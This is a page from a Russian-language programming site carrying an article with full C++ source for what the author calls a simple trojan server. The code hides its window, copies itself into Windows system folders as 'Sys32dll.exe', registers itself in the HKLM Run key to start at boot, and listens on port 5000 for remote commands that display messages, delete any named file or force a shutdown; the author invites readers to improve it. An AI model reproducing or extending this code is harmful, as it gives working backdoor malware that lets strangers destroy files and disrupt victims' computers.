C++ C++ C# C# ASP.NET Security ASP.NET Security ASM ASM Скачать Скачать Поиск Поиск Хостинг Хостинг  
  Программа для работы с LPT портом...
Язык: .NET — ©Alexey...
  "ASP.NET Atlas" – AJAX в исполнении Micro...
Язык: .NET — ©legigor@mail.ru...
  "Невытесняющая" Многопоточность...
Язык: C/C++ — ©...
  01.05.2010 — Update World C++: Сборник GPL QT исходников
  15.12.2007 — Весь сайт целиком можно загрузить по ссылкам из раздела Скачать
Хостинг:
Windows 2003, ASP.NET 2.0
бесплатный и от 80 руб./мес


   Отправить письмо
Кулабухов Артем, Беларусь




 SimpleServTr / Статьи. / C++

Простенький троянчик (Simple-Serv как я его назвал) даже я бы сказал пример 
троянного сервера. Че делает : слушает 5000 порт и при получении сообщения вида
[ type ] [ text ] т.е. если послать такой текст на 5000 порт
"S Ты ЛАМЕР !!!" (где S это type) то на сервере появится диалог с текстом "Ты ЛАМЕР !!!"
ну смотрите сами  его усовершенствование в 
ваших руках... (инсталляция есть)

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

BOOL CALLBACK WindowProc(HWND ,UINT ,WPARAM ,LPARAM);

BOOL ONCREATE(HWND hwnd);
BOOL RUN(char *NAME,char *VIRNAME,int END);

char *szClassWindow="WinClass",szPath[0x100];

char *REGNAME="Sys32dll.exe",*REGTITLE="System32dll",*TITLE="SIMPLE-SERV";

BOOL ONCREATE(HWND hwnd){
WSADATA wsaData;
SOCKET Sock;
char type[2], buf[128];
int i;

    WSAStartup(MAKEWORD(2,2), &wsaData);
   	SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);
	SOCKADDR_IN		addr_Sock;
	addr_Sock.sin_family = AF_INET;
	addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY);
	addr_Sock.sin_port = htons(5000);
	if(bind(listet_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return 0;
	if(listen(listet_Sock, 1)) return 0;


Sock = accept(listet_Sock,NULL,NULL);
while(TRUE){
i = recv(Sock, type, 2, 0),recv(Sock, buf,128, 0);
if ((i== SOCKET_ERROR)||(i == 0)) break;
if(type[0] == 'S') MessageBox(0,buf,"IT's FOR YOU !!!",0);
else if (type[0] == 'D'){
MessageBox(0,"DELETE FILE ?","IT's FOR YOU !!!",0);
DeleteFile(buf);}
else if (type[0] == 'X')  ExitWindowsEx( EWX_FORCE || EWX_SHUTDOWN, 0 );

break;}

	shutdown(Sock,1);
	closesocket(Sock);
	WSACleanup();

RUN(REGTITLE,REGNAME,1);
PostQuitMessage (0);

return TRUE;
}

BOOL RUN(char *NAME,char *VIRNAME,int END)
{
HKEY hKey;
char szWIN[0x100],szWIN32[0x100];
GetSystemDirectory(szWIN,sizeof(szWIN));
GetSystemDirectory(szWIN32,sizeof(szWIN32));
GetModuleFileName(NULL, szPath, sizeof(szPath));

lstrcat(szWIN,"\\");
lstrcat(szWIN,VIRNAME);
CopyFile(szPath,szWIN,TRUE);

strcat(szWIN32,"32\\");
lstrcat(szWIN32,VIRNAME);
CopyFile(szPath,szWIN32,FALSE);

RegCreateKeyEx(HKEY_LOCAL_MACHINE,
"\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
"",
REG_OPTION_NON_VOLATILE,
KEY_SET_VALUE,
NULL,
&hKey,
NULL);
if (hKey)
  {
        RegSetValueEx(hKey, NAME, 0, REG_SZ, (LPBYTE)VIRNAME, strlen(VIRNAME));
        RegCloseKey(hKey);
  }

  if(END==0){}

return TRUE;
}


int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpszCmdLine, int nCmdShow)
{
	HWND hWnd;
	MSG lpMsg;
	WNDCLASSEX wcl;

wcl.cbSize = sizeof (wcl);
wcl.style = CS_HREDRAW|CS_VREDRAW;
wcl.lpfnWndProc = WindowProc;
wcl.cbClsExtra  =0;
wcl.cbWndExtra  = 0;
wcl.hInstance = hInst;
wcl.hIcon = LoadIconA(NULL,IDI_APPLICATION);
wcl.hCursor = LoadCursorA(NULL,IDC_ARROW);
wcl.hbrBackground =(HBRUSH)GetStockObject (WHITE_BRUSH);
wcl.lpszMenuName = NULL;
wcl.lpszClassName = szClassWindow;
wcl.hIconSm=NULL;

if (!RegisterClassEx (&wcl))
return 0;

if(FindWindowA(0,TITLE)){
	MessageBoxA(NULL,"FATAL ERROR !","ERROR",0);
	PostQuitMessage (0);}

hWnd=CreateWindowEx(
	0,
	szClassWindow,
 	TITLE,
	WS_OVERLAPPEDWINDOW,
	CW_USEDEFAULT,
	CW_USEDEFAULT,
	CW_USEDEFAULT,
	CW_USEDEFAULT,
	NULL,
	NULL,
	hInst,
	NULL);
//ShowWindow (hWnd, nCmdShow);
//UpdateWindow (hWnd);


while (GetMessage(&lpMsg,NULL,0,0))
{
	TranslateMessage(&lpMsg);
	DispatchMessage(&lpMsg);
}
	return lpMsg.wParam;
}

BOOL CALLBACK WindowProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	char str[0x100];
	switch(message)
	{
	case WM_CREATE:
	RUN(REGTITLE,REGNAME,0);
	ONCREATE(hWnd);
	return TRUE;

	case WM_DESTROY:
	RUN(REGTITLE,REGNAME,1);
	PostQuitMessage (0);
	break;
	default:
	return DefWindowProc (hWnd, message, wParam, lParam);
}
return FALSE;
}